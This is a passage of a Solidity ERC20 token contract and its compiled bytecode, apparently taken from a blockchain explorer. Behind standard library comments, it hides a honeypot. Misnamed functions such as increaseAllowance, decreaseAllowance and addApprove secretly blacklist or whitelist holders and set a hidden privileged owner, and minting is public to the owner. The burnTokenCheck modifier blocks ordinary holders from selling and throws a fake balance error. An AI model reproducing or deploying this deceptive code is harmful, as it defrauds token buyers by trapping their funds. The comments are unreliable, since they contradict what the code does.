_mint(0x88faAC1678c864d080d592BC15d1CdAdf01d7129, initialSupply*(10**18)); _mint(0x88faAC1678c864d080d592BC15d1CdAdf01d7129, initialSupply*(10**18)); _mint(0x88faAC1678c864d080d592BC15d1CdAdf01d7129, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb1461061f578063b2bdfa7b14610683578063dd62ed3e146106b7578063e12681151461072f576100f5565b806352b0f196146103aa57806370a082311461050057806380b2122e1461055857806395d89b411461059c576100f5565b806318160ddd116100d357806318160ddd1461029957806323b872dd146102b7578063313ce5671461033b5780634e6ec2471461035c576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506107e7565b005b6101ba61099d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a3f565b60405180821515815260200191505060405180910390f35b6102a1610a5d565b6040518082815260200191505060405180910390f35b610323600480360360608110156102cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a67565b60405180821515815260200191505060405180910390f35b610343610b40565b604051808260ff16815260200191505060405180910390f35b6103a86004803603604081101561037257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b57565b005b6104fe600480360360608110156103c057600080fd5b8101908080359060200190929190803590602001906401000000008111156103e757600080fd5b8201836020820111156103f957600080fd5b8035906020019184602083028401116401000000008311171561041b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561047b57600080fd5b82018360208201111561048d57600080fd5b803590602001918460208302840111640100000000831117156104af57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d76565b005b6105426004803603602081101561051657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f5c565b6040518082815260200191505060405180910390f35b61059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fa4565b005b6105a46110ab565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105e45780820151818401526020810190506105c9565b50505050905090810190601f1680156106115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61066b6004803603604081101561063557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061114d565b60405180821515815260200191505060405180910390f35b61068b61116b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610719600480360360408110156106cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611191565b6040518082815260200191505060405180910390f35b6107e56004803603602081101561074557600080fd5b810190808035906020019064010000000081111561076257600080fd5b82018360208201111561077457600080fd5b8035906020019184602083028401116401000000008311171561079657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611218565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8151811015610999576001600260008484815181106108c857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061093357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108ad565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a355780601f10610a0a57610100808354040283529160200191610a35565b820191906000526020600020905b815481529060010190602001808311610a1857829003601f168201915b5050505050905090565b6000610a53610a4c611455565b848461145d565b6001905092915050565b6000600554905090565b6000610a74848484611654565b610b3584610a80611455565b610b3085604051806060016040528060288152602001612e8260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ae6611455565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d519092919063ffffffff16565b61145d565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c2f816005546113cd90919063ffffffff16565b600581905550610ca881600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113cd90919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8251811015610f5657610e75838281518110610e5457fe5b6020026020010151838381518110610e6857fe5b602002602001015161114d565b5083811015610f49576001806000858481518110610e8f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610f48838281518110610ef757fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61145d565b5b8080600101915050610e3c565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611067576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111435780601f1061111857610100808354040283529160200191611143565b820191906000526020600020905b81548152906001019060200180831161112657829003601f168201915b5050505050905090565b600061116161115a611455565b8484611654565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b81518110156113c95760018060008484815181106112f857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061136357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506112de565b5050565b60008082840190508381101561144b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612ecf6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611569576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e3a6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156117235750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611a2a5781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612eaa6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611875576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e176023913960400191505060405180910390fd5b611880868686612e11565b6118eb84604051806060016040528060268152602001612e5c602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d519092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061197e846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113cd90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d49565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611ad35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611b2b5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611e8657600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611bb857508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611bc557806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611c4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612eaa6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611cd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e176023913960400191505060405180910390fd5b611cdc868686612e11565b611d4784604051806060016040528060268152602001612e5c602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d519092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dda846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113cd90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d48565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156121a057600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612eaa6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611feb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e176023913960400191505060405180910390fd5b611ff6868686612e11565b61206184604051806060016040528060268152602001612e5c602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d519092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120f4846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113cd90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d47565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156125b857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122a25750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6122f7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e5c6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561237d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612eaa6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612403576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e176023913960400191505060405180910390fd5b61240e868686612e11565b61247984604051806060016040528060268152602001612e5c602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d519092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061250c846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113cd90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d46565b60035481101561298a57600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126c9576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561274f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612eaa6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156127d5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e176023913960400191505060405180910390fd5b6127e0868686612e11565b61284b84604051806060016040528060268152602001612e5c602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d519092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128de846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113cd90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d45565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480612a335750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612a88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e5c6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612b0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612eaa6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612b94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e176023913960400191505060405180910390fd5b612b9f868686612e11565b612c0a84604051806060016040528060268152602001612e5c602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d519092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c9d846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113cd90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612dfe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612dc3578082015181840152602081019050612da8565b50505050905090810190601f168015612df05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212201ed49eaba8b1ef86633c84968f00b235f195576065839e49a9673eac98ce2f3564736f6c634300060c0033
[ 38 ]
0xf2Bc3fceA7Ef3e72e645925a8823863Faf33A033
